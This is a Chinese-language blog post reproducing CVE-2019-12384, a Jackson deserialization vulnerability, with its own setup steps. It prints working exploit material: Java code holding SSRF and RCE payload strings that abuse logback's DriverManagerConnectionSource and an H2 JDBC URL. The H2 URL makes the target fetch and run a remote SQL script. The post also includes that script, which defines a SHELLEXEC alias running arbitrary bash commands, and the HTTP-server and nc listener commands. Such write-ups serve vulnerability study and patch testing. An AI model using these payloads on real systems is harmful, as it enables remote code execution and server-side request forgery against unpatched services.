CVE-2019-12384:Jackson 反序列化漏洞复现

发布于 2024-11-19 07:21:29 字数 3902 浏览 1 评论 0

分析

根据 Jackson 开发者提到的信息,触发这个 Jackson 漏洞需要满足如下要求,所以该漏洞评级为中危:

  1. 目标应用接收到不可信客户端发送的 JSON 数据
  2. 目标应用使用多态类型处理方式来处理 java.lang.Object 类型的属性;
  3. 目标应用至少包含能够在 Java classpath 中利用的一个“gadget”类。在该漏洞中就是依赖的第三方 jar 包有点多,除去 jackson 自身的 jar 包以外还需要 logback-core 和 h2;

环境搭建

本文中用到的第三方库有:

  • jackson-databind 2.9.8
  • jackson-annotations-2.9.8.jar
  • jackson-core-2.9.8.jar
  • logback-core-1.3.0-alpha4.jar
  • h2 1.4.199

http://www.mvnrepository.com 上下载即可。

漏洞代码

package com.baiyang;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;
import org.h2.Driver;

public class Main {

  public static void main(String[] args) {
    try {
      Class.forName("org.h2.Driver").newInstance();
    } catch (Exception e) {
      e.printStackTrace();
    }


    System.out.println("Mapping");

    //该条 payload 用于 SSRF 的复现

    String SSRF = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:tcp://127.0.0.1:4444/~/hacker\"}]";

    //该条 payload 用于 RCE 的复现

    String RCE = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost/inject.sql'\"}]";

    ObjectMapper mapper = new ObjectMapper();

    mapper.enableDefaultTyping();

    mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);

    System.out.println("Serializing");
    Object obj = null;
    try {
      //更换 SSRF 或 RCE 即可测试 SSRF 或者 RCE 漏洞的 payload
      obj = mapper.readValue(RCE, java.lang.Object.class);
    } catch(Exception e) {
      e.printStackTrace();
    }

    System.out.println("objectified");

    try {
      System.out.println("stringified: " + mapper.writeValueAsString(obj));
    } catch(Exception e) {
      e.printStackTrace();
    }

  }
}

构建步骤

本文在 IDEA 上生成项目

  1. 新建 java Commandline 项目
  2. 将上述代码替换类
  3. 单击红框中的图标,进入项目结构设置
  4. 按照下图的步骤将下载好的外部 jar 包导入项目文件

攻击流程

  1. 将下面的 sql 脚本文件保存为 inject.sql
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
    String[] command = {"bash", "-c", cmd};
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
    return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('open /Applications/Calculator.app')

:本文在 MacOS 下执行的 RCE,如在其它环境,请自行更换 CALL SHELLEXEC 中的命令。

  1. 执行本地执行 python2 -m SimpleHTTPServer 80,在本地启动 HTTP 服务

RCE payload 测试

将 java 文件中的 payload 更换为 RCE ,编译并运行 java 程序

SSRF payload 测试

  1. 执行 nc -l -vv 4444 ,便于观察 SSRF 的结果
  2. 将 java 文件中的 payload 更换为 SSRF ,编译并运行 java 程序

参考

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

手心的海

暂无简介

0 文章
0 评论
24 人气
更多

推荐作者

有深☉意

文章 0 评论 0

硪扪都還晓

文章 0 评论 0

DS

文章 0 评论 0

我也只是我

文章 0 评论 0

TangBin

文章 0 评论 0

橪书

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文